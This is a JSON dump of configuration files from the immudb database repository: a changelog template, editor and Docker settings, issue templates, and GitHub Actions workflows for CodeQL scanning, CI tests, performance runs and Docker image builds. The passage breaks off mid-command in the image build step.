[
  {
    "path": ".chglog/CHANGELOG.tpl.md",
    "content": "# CHANGELOG\nAll notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).\n{{ if .Versions -}}\n<a name=\"unreleased\"></a>\n## [Unreleased]\n\n{{ if .Unreleased.CommitGroups -}}\n{{ range .Unreleased.CommitGroups -}}\n### {{ .Title }}\n{{ range .Commits -}}\n- {{ if .Scope }}**{{ .Scope }}:** {{ end }}{{ .Subject }}\n{{ end }}\n{{ end -}}\n{{ end -}}\n{{ end -}}\n\n{{ range .Versions }}\n<a name=\"{{ .Tag.Name }}\"></a>\n## {{ if .Tag.Previous }}[{{ .Tag.Name }}]{{ else }}{{ .Tag.Name }}{{ end }} - {{ datetime \"2006-01-02\" .Tag.Date }}\n{{ range .CommitGroups -}}\n### {{ .Title }}\n{{ range .Commits -}}\n- {{ if .Scope }}**{{ .Scope }}:** {{ end }}{{ .Subject }}\n{{ end }}\n{{ end -}}\n\n{{- if .RevertCommits -}}\n### Reverts\n{{ range .RevertCommits -}}\n- {{ .Revert.Header }}\n{{ end }}\n{{ end -}}\n\n{{- if .NoteGroups -}}\n{{ range .NoteGroups -}}\n### {{ .Title }}\n{{ range .Notes }}\n{{ .Body }}\n{{ end }}\n{{ end -}}\n{{ end -}}\n{{ end -}}\n\n{{- if .Versions }}\n[Unreleased]: {{ .Info.RepositoryURL }}/compare/{{ $latest := index .Versions 0 }}{{ $latest.Tag.Name }}...HEAD\n{{ range .Versions -}}\n{{ if .Tag.Previous -}}\n[{{ .Tag.Name }}]: {{ $.Info.RepositoryURL }}/compare/{{ .Tag.Previous.Name }}...{{ .Tag.Name }}\n{{ end -}}\n{{ end -}}\n{{ end -}}\n"
  },
  {
    "path": ".chglog/config.yml",
    "content": "style: github\ntemplate: CHANGELOG.tpl.md\ninfo:\n  title: CHANGELOG\n  repository_url: https://github.com/vchain-us/immudb\noptions:\n  commits:\n    filters:\n      Type:\n        - feat\n        - fix\n        - perf\n        - refactor\n        - chore\n  commit_groups:\n    title_maps:\n      feat: Features\n      fix: Bug Fixes\n      perf: Performance Improvements\n      refactor: Code Refactoring\n      chore: Changes\n  header:\n    pattern: \"^(\\\\w*)(?:\\\\(([\\\\w\\\\$\\\\.\\\\-\\\\*\\\\s\\\\/]*)\\\\))?\\\\:\\\\s(.*)$\"\n    pattern_maps:\n      - Type\n      - Scope\n      - Subject\n  notes:\n    keywords:\n      - BREAKING CHANGE\n"
  },
  {
    "path": ".codeclimate.yml",
    "content": "exclude_patterns:\n- \"pkg/api/schema/schema.pb.go\"\n- \"pkg/api/schema/schema.pb.gw.go\"\n"
  },
  {
    "path": ".dockerignore",
    "content": "# Compiled binaries\n/bm\ndist\n\n# Immudb data\n/data*\n\n# Vendor\nvendor\n\n# Unuseful stuff\n*.iml\n*.swp\n.idea/\n.gitignore\nbuild\nresources\n/immudata\n/Dockerfile*\npkg/integration/replication\nwebconsole/dist\n\n# Allow FIPS build checker\n!build/fips/check-fips.sh\n"
  },
  {
    "path": ".editorconfig",
    "content": "root = true\n\n[*]\nend_of_line = lf\nindent_size = 4\nindent_style = tab\ninsert_final_newline = true\ntrim_trailing_whitespace = true\ncharset = utf-8\n\n[*.{md, yml}]\nindent_size = 2\nindent_style = space\n"
  },
  {
    "path": ".github/ACTIONS_SECRETS.md",
    "content": "# Github actions secrets\n\n## PERF_TEST_RUNS_ON\n\nThis secret can be used to change the `runs-on` field for performance test suite.\n\nExample value (keep it a single-line):\n\n```json\n{\"targets\":[{\"name\": \"b1\", \"runs-on\":[\"self-hosted\", \"b1\"]}, {\"name\": \"b2\", \"runs-on\":[\"self-hosted\", \"b2\"]}]}\n```\n\n### PERF_TEST_AWS_xxx\n\nIf set, performance test results are uploaded into s3 after successful push workflow.\n\nFollowing secrets are needed:\n\n* `PERF_TEST_AWS_ACCESS_KEY_ID`\n* `PERF_TEST_AWS_BUCKET_PREFIX` (i.e. `<bucket name>` or `<bucket_name>/some/prefix`)\n* `PERF_TEST_AWS_REGION`\n* `PERF_TEST_AWS_SECRET_ACCESS_KEY`\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n\n<!-- Please use this template while reporting a bug and provide as much info as possible. \nIf applicable, add shell logs or screenshots to help explain your problem.\nThanks! -->\n\n**What happened**\n\n**What you expected to happen**\n\n**How to reproduce it (as minimally and precisely as possible)**\n\n**Environment**\n```shell\n# run \"immu* version\" and copy/paste the output here\n```\n\n**Additional info (any other context about the problem)**\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature-request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: enhancement\nassignees: ''\n\n---\n\n<!-- Please use this template for submitting feature or enhancement requests -->\n\n**What would you like to be added or enhanced**\n\n**Why is this needed**\n\n**Additional context**"
  },
  {
    "path": ".github/dependabot.yaml",
    "content": "version: 2\nupdates:\n  - package-ecosystem: \"gomod\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\"\n\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\"\n\n  - package-ecosystem: \"docker\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\""
  },
  {
    "path": ".github/workflows/codeql.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\nname: \"CodeQL\"\n\non:\n  push:\n    branches: [ \"master\", \"*\", \"develop\" ]\n  pull_request:\n    branches: [ \"master\", \"*\", \"develop\" ]\n  schedule:\n    - cron: '39 20 * * 0'\n\njobs:\n  analyze:\n    name: Analyze (${{ matrix.language }})\n    # Runner size impacts CodeQL analysis time. To learn more, please see:\n    #   - https://gh.io/recommended-hardware-resources-for-running-codeql\n    #   - https://gh.io/supported-runners-and-hardware-resources\n    #   - https://gh.io/using-larger-runners (GitHub.com only)\n    # Consider using larger runners or machines with greater resources for possible analysis time improvements.\n    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}\n    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}\n    permissions:\n      # required for all workflows\n      security-events: write\n\n      # required to fetch internal or private CodeQL packs\n      packages: read\n\n      # only required for workflows in private repositories\n      actions: read\n      contents: read\n\n    strategy:\n      fail-fast: false\n      matrix:\n        include:\n        - language: go\n          build-mode: autobuild\n        - language: javascript-typescript\n          build-mode: none\n        - language: python\n          build-mode: none\n        # CodeQL supports the following values keywords for 'language': 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift'\n        # Use `c-cpp` to analyze code written in C, C++ or both\n        # Use 'java-kotlin' to analyze code written in Java, Kotlin or both\n        # Use 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both\n        # To learn more about changing the languages that are analyzed or customizing the build mode for your analysis,\n        # see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning.\n        # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how\n        # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v4\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v4\n      with:\n        languages: ${{ matrix.language }}\n        build-mode: ${{ matrix.build-mode }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n\n        # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs\n        # queries: security-extended,security-and-quality\n\n    # If the analyze step fails for one of the languages you are analyzing with\n    # \"We were unable to automatically build your code\", modify the matrix above\n    # to set the build mode to \"manual\" for that language. Then modify this step\n    # to build your code.\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun\n    - if: matrix.build-mode == 'manual'\n      run: |\n        echo 'If you are using a \"manual\" build mode for one or more of the' \\\n          'languages you are analyzing, replace this with the commands to build' \\\n          'your code, for example:'\n        echo '  make bootstrap'\n        echo '  make release'\n        exit 1\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v4\n      with:\n        category: \"/language:${{matrix.language}}\"\n"
  },
  {
    "path": ".github/workflows/performance.yml",
    "content": "name: Performance tests\n\non:\n  workflow_dispatch:\n  workflow_call:\n  schedule:\n    - cron: '0 0 * * *'\n\njobs:\n  performance-test-suite-detect-runners:\n    runs-on: ubuntu-latest\n    outputs:\n      matrix: ${{ steps.detect-runners.outputs.matrix }}\n    env:\n      PERF_TEST_RUNS_ON: ${{ secrets.PERF_TEST_RUNS_ON }}\n      PERF_TEST_RUNS_ON_DEFAULT: |\n        {\n          \"targets\": [\n            {\n              \"name\": \"github-ubuntu-latest\",\n              \"runs-on\": \"ubuntu-latest\"\n            }\n          ]\n        }\n    steps:\n      - id: detect-runners\n        run: |\n          RES=\"$(echo \"${PERF_TEST_RUNS_ON:-${PERF_TEST_RUNS_ON_DEFAULT}}\" | jq -c '.targets')\"\n          echo \"Detected targets:\"\n          echo \"$RES\" | jq .\n          echo \"matrix=${RES}\" >> $GITHUB_OUTPUT\n\n  performance-test-suite:\n    name: Performance Test Suite (${{ matrix.target.name }})\n    needs:\n      - performance-test-suite-detect-runners\n    strategy:\n      matrix:\n        target: ${{ fromJson(needs.performance-test-suite-detect-runners.outputs.matrix) }}\n    runs-on: ${{ matrix.target.runs-on }}\n    env:\n      ARG_DURATION: \"${{ startsWith(github.ref, 'refs/tags/v') && '-d 2m' || '' }}\"\n      INFLUX_HOST: ${{ secrets.INFLUX_HOST }}\n      INFLUX_TOKEN: ${{ secrets.INFLUX_TOKEN }}\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-go@v6\n        with:\n          go-version-file: 'go.mod'\n      - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/\n      - name: Run performance tests\n        id: performance\n        run: |\n          echo \"version=$(cat Makefile | grep '\\<VERSION=' | awk -F= '{print $2}' | tr -d [\\',])\" >> $GITHUB_ENV\n          SECONDS=0\n          ./perf-test-suite $ARG_DURATION -workdir /var/tmp -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $(cat Makefile | grep '\\<VERSION=' | awk -F= '{print $2}' | tr -d [\\',]) > perf-test-results-with-summaries.txt\n          echo \"duration=$SECONDS\" >> $GITHUB_ENV\n          sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json\n        env:\n          GOMEMLIMIT: 7680MiB\n      - name: Upload test results\n        uses: actions/upload-artifact@v4\n        with:\n          name: Performance Test Results (${{ matrix.target.name }})\n          path: perf-test-results.json\n          retention-days: 30\n      - name: Create the Mattermost message\n        if: github.event.schedule == '0 0 * * *'\n        run: >\n          echo \"{\\\"text\\\":\\\"### Performance tests results for scheduled daily run on ${{ github.ref_name }} branch and ${{ matrix.target.name }} runner\\n\n          **Result**: ${{ steps.performance.outcome }}\\n\n          **Duration**: ${{ env.duration }}s | **immudb version**: ${{ env.version }}\\n\n          $(jq -r '.benchmarks[] | .name + \"\\n\" + .summary' perf-test-results.json) \\n\n          **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})**\n          \\\"}\" > mattermost.json && echo MM_PAYLOAD=$(cat mattermost.json) >> $GITHUB_ENV\n      - name: Notify on immudb channel on Mattermost\n        if: github.event.schedule == '0 0 * * *'\n        uses: mattermost/action-mattermost-notify@master\n        with:\n          MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }}\n          MATTERMOST_CHANNEL: 'immudb-tests'\n          PAYLOAD: ${{ env.MM_PAYLOAD }}\n\n  performance-test-suite-upload-s3:\n    if: github.event.schedule != '0 0 * * *'\n    needs:\n      - performance-test-suite\n      - performance-test-suite-detect-runners\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        target: ${{ fromJson(needs.performance-test-suite-detect-runners.outputs.matrix) }}\n    env:\n      PERF_TEST_AWS_REGION: ${{ secrets.PERF_TEST_AWS_REGION }}\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Download test results\n        if: \"${{ env.PERF_TEST_AWS_REGION }}\"\n        uses: actions/download-artifact@v4\n        with:\n          name: Performance Test Results (${{ matrix.target.name }})\n\n      - name: Configure AWS credentials\n        if: \"${{ env.PERF_TEST_AWS_REGION }}\"\n        uses: aws-actions/configure-aws-credentials@v2\n        with:\n          aws-access-key-id: \"${{ secrets.PERF_TEST_AWS_ACCESS_KEY_ID }}\"\n          aws-secret-access-key: \"${{ secrets.PERF_TEST_AWS_SECRET_ACCESS_KEY }}\"\n          aws-region: \"${{ secrets.PERF_TEST_AWS_REGION }}\"\n\n      - name: Upload perf results to S3\n        if: \"${{ env.PERF_TEST_AWS_REGION }}\"\n        run: |\n          GIT_COMMIT_NAME=\"$(git show -s --format=%cd --date=\"format:%Y-%m-%d--%H-%I-%S\")--$(git rev-parse HEAD)\"\n          aws s3 cp \\\n            perf-test-results.json \\\n            \"s3://${{ secrets.PERF_TEST_AWS_BUCKET_PREFIX }}/${{ github.ref_name }}/${GIT_COMMIT_NAME}/${{ matrix.target.name }}.json\"\n"
  },
  {
    "path": ".github/workflows/pull.yml",
    "content": "name: pullCI\n\non: [pull_request]\n\njobs:\n  build:\n    name: build-and-test\n    strategy:\n      matrix:\n        include:\n          - os: ubuntu-latest\n            go: \"1.24\"\n\n          - os: ubuntu-latest\n            go: \"1.24\"\n            testWithMinio: true\n\n          - os: ubuntu-latest\n            go: \"1.24\"\n            testWithFips: true\n\n          - os: ubuntu-latest\n            go: \"1.24\"\n            test: true\n\n          - os: windows-latest\n            go: \"1.24\"\n            testClientOnly: true\n            noWebconsole: true\n\n          - os: macos-latest\n            go: \"1.24\"\n            testClientOnly: true\n\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/setup-go@v6\n        with:\n          go-version: ${{ matrix.go }}\n\n      - uses: actions/checkout@v4\n\n      - name: Test\n        run: make test\n        if: matrix.test\n\n      - name: Test (with minio)\n        run: |\n          # Spawn minio docker container in the background\n          docker run -d -t -p 9000:9000 --name minio \\\n            -e \"MINIO_ACCESS_KEY=minioadmin\" \\\n            -e \"MINIO_SECRET_KEY=minioadmin\" \\\n            minio/minio server /data\n\n          # Create immudb bucket\n          docker run --net=host -t --entrypoint /bin/sh minio/mc -c \"\n            mc alias set local http://localhost:9000 minioadmin minioadmin &&\n            mc mb local/immudb\n          \"\n\n          # Run go tests with minio\n          GO_TEST_FLAGS=\"-tags minio\" make test\n\n          # Stop minio\n          docker rm -f minio\n        if: matrix.testWithMinio\n\n      - name: Test (with fips build)\n        run: |\n          make test/fips\n        if: matrix.testWithFips\n\n      - name: Test Client\n        run: make test-client\n        if: matrix.testClientOnly\n        shell: bash\n\n      - name: Build with webconsole\n        run: |\n          sudo apt update && sudo apt install curl -y\n          WEBCONSOLE=default SWAGGER=true make all\n        if: \"!matrix.noWebconsole\"\n\n      - name: Build without webconsole\n        run: make all\n        if: matrix.noWebconsole\n\n      - name: Make binaries executable\n        run: chmod +x immudb immuclient immuadmin\n        if: runner.os != 'Windows'\n\n      - name: Testing immudb operations\n        run: |\n          IMMUCLIENT=./immuclient*\n          IMMUADMIN=./immuadmin*\n          IMMUDB=./immudb*\n\n          # Run immuclient before a server starts, make sure it fails\n          set -euxo pipefail\n          ${IMMUCLIENT} || echo \"Test #1 OK - immuclient failed to connect (no server started)\"\n          ${IMMUDB} -d\n          sleep 5\n          ${IMMUCLIENT} login --username immudb --password immudb || { echo \"Test #2 Login (Default credentials) Failed\"; exit 1; }\n          echo -n \"immudb\" | ${IMMUCLIENT} login --username immudb || { echo \"Test #3 Login (Default credentials from stdin) Failed\"; exit 1; }\n          ${IMMUCLIENT} safeset test3 githubaction || { echo \"Test #4 Failed to safeset simple values\"; exit 1; }\n          sg=$(${IMMUCLIENT} safeget test3)\n          grep -q \"githubaction\" <<< $sg || { echo \"Test #5 Failed safeget responded with $sg\"; exit 1; }\n          grep -q  \"verified\" <<< $sg || { echo \"Test #6 Failed safeset didn't get verified\"; exit 1; }\n          grep -q \"true\" <<< $sg || { echo \"Test #7 Failed safeset didn't get verified\"; exit 1; }\n        shell: bash\n\n      - name: Testing immudb webconsole\n        if: \"!matrix.noWebconsole\"\n        run: |\n          # Find <title>immudb webconsole</title>\n          webconsole_page=$(curl -s localhost:8080) || { echo \"Test #8 web console unreachable\"; exit 1; }\n          grep -q \"<title>immudb webconsole</title>\" <<< $webconsole_page || { echo \"Test #9 Failed, web console reachable but title not found\"; exit 1; }\n\n  gosec:\n    name: Run Gosec Security Scanner\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/setup-go@v6\n        with:\n          go-version: ${{ env.GO_VERSION }}\n      - uses: actions/checkout@v4\n      - uses: securego/gosec@v2.17.0\n        with:\n          args: -fmt=json -out=results-$JOB_ID.json -no-fail ./...\n\n  coveralls:\n    name: Coverage\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/setup-go@v6\n        with:\n          go-version: \"1.24\"\n      - uses: actions/checkout@v4\n      - run: |\n          # Spawn minio docker container in the background\n          docker run -d -t -p 9000:9000 --name minio \\\n            -e \"MINIO_ACCESS_KEY=minioadmin\" \\\n            -e \"MINIO_SECRET_KEY=minioadmin\" \\\n            minio/minio server /data\n\n          # Create immudb bucket\n          docker run --net=host -t --entrypoint /bin/sh minio/mc -c \"\n            mc alias set local http://localhost:9000 minioadmin minioadmin &&\n            mc mb local/immudb\n          \"\n\n          export PATH=$PATH:$(go env GOPATH)/bin\n          set -o pipefail\n          ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true\n          cat coverage.txt | grep -v \"test\" | grep -v \"schema\" | grep -v \"protomodel\" | grep -v \"swagger\" | grep -v \"webserver.go\" | grep -v \"immuclient\" | grep -v \"immuadmin\" | grep -v \"helper\" | grep -v \"fs\" | grep -v \"cmdtest\" | grep -v \"sservice\" | grep -v \"version\" | grep -v \"tools\" | grep -v \"webconsole\" > coverage.out\n          ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci\n\n          # Stop minio\n          docker rm -f minio\n        env:\n          COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n  sonarsource:\n    name: Coverage\n    runs-on: ubuntu-latest\n    if: github.event.pull_request.head.repo.full_name == github.repository\n    steps:\n      - uses: actions/checkout@v4\n      - name: Analyze with SonarCloud\n        uses: SonarSource/sonarqube-scan-action@v7\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}\n\n  performance-test-suite-detect-runners:\n    runs-on: ubuntu-latest\n    outputs:\n      matrix: ${{ steps.detect-runners.outputs.matrix }}\n    env:\n      PERF_TEST_RUNS_ON: ${{ secrets.PERF_TEST_RUNS_ON }}\n      PERF_TEST_RUNS_ON_DEFAULT: |\n        {\n          \"targets\": [\n            {\n              \"name\": \"github-ubuntu-latest\",\n              \"runs-on\": \"ubuntu-latest\"\n            }\n          ]\n        }\n    steps:\n      - id: detect-runners\n        run: |\n          RES=\"$(echo \"${PERF_TEST_RUNS_ON:-${PERF_TEST_RUNS_ON_DEFAULT}}\" | jq -c '.targets')\"\n          echo \"Detected targets:\"\n          echo \"$RES\" | jq .\n          echo \"matrix=${RES}\" >> $GITHUB_OUTPUT\n\n  performance-test-suite:\n    needs: performance-test-suite-detect-runners\n    strategy:\n      matrix:\n        target: ${{ fromJson(needs.performance-test-suite-detect-runners.outputs.matrix) }}\n    name: Performance Test Suite (${{ matrix.target.name }})\n    runs-on: ${{ matrix.target.runs-on }}\n    steps:\n      - uses: actions/setup-go@v6\n        with:\n          go-version: \"1.24\"\n      - uses: actions/checkout@v4\n      - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/\n      - run: ./perf-test-suite > perf-test-results.json\n      - name: Upload test results\n        uses: actions/upload-artifact@v4\n        with:\n          name: Performance Test Results (${{ matrix.target.name }})\n          path: perf-test-results.json\n"
  },
  {
    "path": ".github/workflows/push-dev.yml",
    "content": "name: build-push-dev\n\nenv:\n  GO_VERSION: \"1.24\"\n  MIN_SUPPORTED_GO_VERSION: \"1.24\"\n\non:\n  push:\n    branches:\n      - feat/objects\n\njobs:\n  build:\n    name: build and push\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/setup-go@v6\n      with:\n       go-version: ${{ env.GO_VERSION }}\n    - uses: actions/checkout@v4\n    - run: |\n        GITTAG=$(git rev-parse HEAD | head -c 8)\n        docker build -t ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG .\n        docker image tag ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:latest\n        docker login -u \"${{ secrets.REGISTRY_USER }}\" -p \"${{ secrets.REGISTRY_PASS }}\"\n        docker image push ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG\n        docker image push ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:latest\n"
  },
  {
    "path": ".github/workflows/push.yml",
    "content": "name: pushCI\n\nenv:\n  GO_VERSION: \"1.24\"\n  MIN_SUPPORTED_GO_VERSION: \"1.24\"\n\non:\n  push:\n    branches:\n      - master\n      - release/v*\n    tags:\n      - 'v*'\n\njobs:\n\n  old-go:\n    name: Ensure immudb compiles with the oldest supported go version\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/setup-go@v6\n        with:\n          go-version: ${{ env.MIN_SUPPORTED_GO_VERSION }}\n      - uses: actions/checkout@v4\n      - run: make all\n\n  gosec:\n    runs-on: ubuntu-latest\n    env:\n      JOB_NAME: ${{ github.job }}\n      JOB_ID: ${{ github.run_id }}\n    steps:\n      - uses: actions/setup-go@v6\n        with:\n          go-version: ${{ env.GO_VERSION }}\n      - uses: actions/checkout@v4\n      - name: Run Gosec Security Scanner\n        uses: securego/gosec@v2.17.0\n        with:\n          args: -fmt=json -out=results-$JOB_ID.json -no-fail ./...\n\n  binaries:\n      name: Build binaries and notarize sources\n      needs:\n        - gosec\n        - old-go\n      runs-on: ubuntu-latest\n      env:\n        JOB_NAME: ${{ github.job }}\n        JOB_ID: ${{ github.run_id }}\n      outputs:\n        matrix: ${{ steps.list-binaries.outputs.matrix }}\n      steps:\n        - uses: actions/setup-go@v6\n          with:\n            go-version: ${{ env.GO_VERSION }}\n        - uses: actions/checkout@v4\n        - name: Build binaries\n          run: WEBCONSOLE=default SWAGGER=true make dist\n        - id: list-binaries\n          run: |\n            echo \"matrix=$(ls dist | jq -R -s -c 'split(\"\\n\")[:-1] | {binary: .}')\" >> $GITHUB_OUTPUT\n        - name: Upload binary artifacts\n          uses: actions/upload-artifact@v4\n          with:\n            name: immudb-binaries\n            path: dist\n            retention-days: 5\n        - name: Calculate checksums\n          run: make dist/binary.md\n\n  binaries-quick-test:\n    name: Quick test of compiled binaries\n    needs: binaries\n    strategy:\n      matrix:\n        include:\n          - os: windows-latest\n            selector: '*-windows-amd64.exe'\n          - os: ubuntu-latest\n            selector: '*-linux-amd64'\n          - os: ubuntu-latest\n            selector: '*-linux-amd64-static'\n          - os: ubuntu-latest\n            selector: '*-linux-amd64-fips'\n          - os: macos-latest\n            selector: '*-darwin-amd64'\n          - os: ubuntu-latest\n            selector: '*-linux-arm64'\n            qemu-binfmt: true\n          - os: ubuntu-latest\n            selector: '*-linux-s390x'\n            qemu-binfmt: true\n    runs-on: ${{ matrix.os }}\n    steps:\n    - uses: actions/download-artifact@v4\n      with:\n        name: immudb-binaries\n        path: dist\n\n    - name: List matching binaries\n      shell: bash\n      run: ls -all dist/${{ matrix.selector }}\n\n    - name: Make binaries executable\n      run: chmod +x dist/${{ matrix.selector }}\n      shell: bash\n      if: runner.os != 'Windows'\n\n    - name: Install qemu binaries\n      uses: docker/setup-qemu-action@v2\n      if: matrix.qemu-binfmt\n\n    - name: Run immudb in the background\n      shell: bash\n      run: |\n        IMMUDB=dist/immudb-${{ matrix.selector }}\n        $IMMUDB -d\n\n    - name: immuadmin test\n      shell: bash\n      run: |\n        IMMUADMIN=dist/immuadmin-${{ matrix.selector }}\n\n        echo -n \"immudb\" | $IMMUADMIN login immudb || true\n        $IMMUADMIN database create test\n        $IMMUADMIN database list\n        $IMMUADMIN database unload test\n        $IMMUADMIN database load test\n\n    - name: immuclient test\n      shell: bash\n      continue-on-error: ${{ matrix.continue-on-error || false }}\n      run: |\n        IMMUCLIENT=dist/immuclient-${{ matrix.selector }}\n\n        $IMMUCLIENT login --username immudb --password immudb\n        echo -n \"immudb\" | $IMMUCLIENT login --username immudb\n        $IMMUCLIENT use test\n        $IMMUCLIENT safeset test3 githubaction\n        sg=$($IMMUCLIENT safeget test3)\n        grep -q \"githubaction\" <<< $sg\n        grep -q \"verified\" <<< $sg\n        grep -q \"true\" <<< $sg\n\n  stress-tests:\n    name: Run KV stress tests\n    needs: binaries\n    runs-on: ubuntu-latest\n    steps:\n    - name: Download binary artifacts\n      uses: actions/download-artifact@v4\n      with:\n        name: immudb-binaries\n        path: dist\n    - name: Make binaries executable\n      run: chmod +x dist/*linux-amd64\n    - name: Run immudb in the background\n      run: dist/immudb-*-linux-amd64 -d\n    - uses: actions/setup-go@v6\n      with:\n        go-version: ${{ env.GO_VERSION }}\n    - uses: actions/checkout@v4\n    - name: Run KV stress test\n      run: |\n        go run ./tools/testing/stress_tool_test_kv/ \\\n          -mix-read-writes \\\n          -randomize-key-length \\\n          -total-entries-written 300000 \\\n          -total-entries-read 10000\n\n# This job is needed because currently it's not possible to pass an environment variable\n# to the called workflow on job performance-tests.\n# Reference: https://docs.github.com/en/actions/using-workflows/reusing-workflows#limitations\n  go-version:\n    name: Extract Go version\n    runs-on: ubuntu-latest\n    outputs:\n      go-version: ${{ steps.extraction.outputs.go_version }}\n    steps:\n      - id: extraction\n        run: echo \"go_version=$GO_VERSION\" >> $GITHUB_OUTPUT\n\n  performance-tests:\n    name: Performance tests\n    needs:\n      - gosec\n      - old-go\n      - go-version\n    uses: ./.github/workflows/performance.yml\n    secrets: inherit\n    with:\n      go-version: \"1.24\"\n\n  notarize-binaries:\n      name: Notarize binaries\n      needs:\n        - binaries\n        - binaries-quick-test\n        - stress-tests\n      runs-on: ubuntu-latest\n      strategy:\n        matrix: ${{fromJson(needs.binaries.outputs.matrix)}}\n      env:\n        JOB_NAME: ${{ github.job }}\n        JOB_ID: ${{ github.run_id }}\n      steps:\n        - name: Download binary artifacts\n          uses: actions/download-artifact@v4\n          with:\n            name: immudb-binaries\n            path: dist\n\n  images:\n      name: Build and notarize Docker Images\n      needs:\n        - binaries\n        - binaries-quick-test\n        - stress-tests\n      runs-on: ubuntu-latest\n      env:\n        JOB_NAME: ${{ github.job }}\n        JOB_ID: ${{ github.run_id }}\n        DOCKER_IMAGE_IMMUDB: \"${{ vars.DOCKER_HUB_USER }}/immudb\"\n        DOCKER_IMAGE_IMMUDB_FIPS: \"${{ vars.DOCKER_HUB_USER }}/immudb-fips\"\n        DOCKER_IMAGE_IMMUADMIN: \"${{ vars.DOCKER_HUB_USER }}/immuadmin\"\n        DOCKER_IMAGE_IMMUADMIN_FIPS: \"${{ vars.DOCKER_HUB_USER }}/immuadmin-fips\"\n        DOCKER_IMAGE_IMMUCLIENT: \"${{ vars.DOCKER_HUB_USER }}/immuclient\"\n        DOCKER_IMAGE_IMMUCLIENT_FIPS: \"${{ vars.DOCKER_HUB_USER }}/immuclient-fips\"\n        DOCKER_BUILDKIT: \"1\"\n        DEBIAN_VERSION: bullseye-slim\n        ALMA_VERSION: almalinux-8-minimal\n      steps:\n        - uses: actions/checkout@v4\n        - name: Build docker images\n          shell: bash\n          run: |\n            if [[ \"${GITHUB_REF}\" =~ ^refs/tags/v([0-9]+)\\.([A-Z0-9]+)\\.([0-9]+)$ ]]; then\n              VERSION_TAG=\"${BASH_REMATCH[1]}.${BASH_REMATCH[2]}.${BASH_REMATCH[3]}\"\n              VERSION_TAG_SHORT=\"${BASH_REMATCH[1]}.${BASH_REMATCH[2]}\"\n            fi\n\n            docker build --tag \"${DOCKER_IMAGE_IMMUDB}:dev\" --target scratch -f build/Dockerfile .\n            docker build --tag \"${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}\" --target ${DEBIAN_VERSION} -f build/Dockerfile .\n            docker build --tag \"${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}\" -f build/Dockerfile.alma .\n            docker build --tag \"${DOCKER_IMAGE_IMMUADMIN}:dev\" -f build/Dockerfile.immuadmin .\n            docker build --tag \"${DOCKER_IMAGE_IMMUCLIENT}:dev\" -f build/Dockerfile.immuclient .\n            docker build --tag \"${DOCKER_IMAGE_IMMUDB_FIPS}:dev\" -f build/fips/Dockerfile .\n            docker build --tag \"${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev\" -f 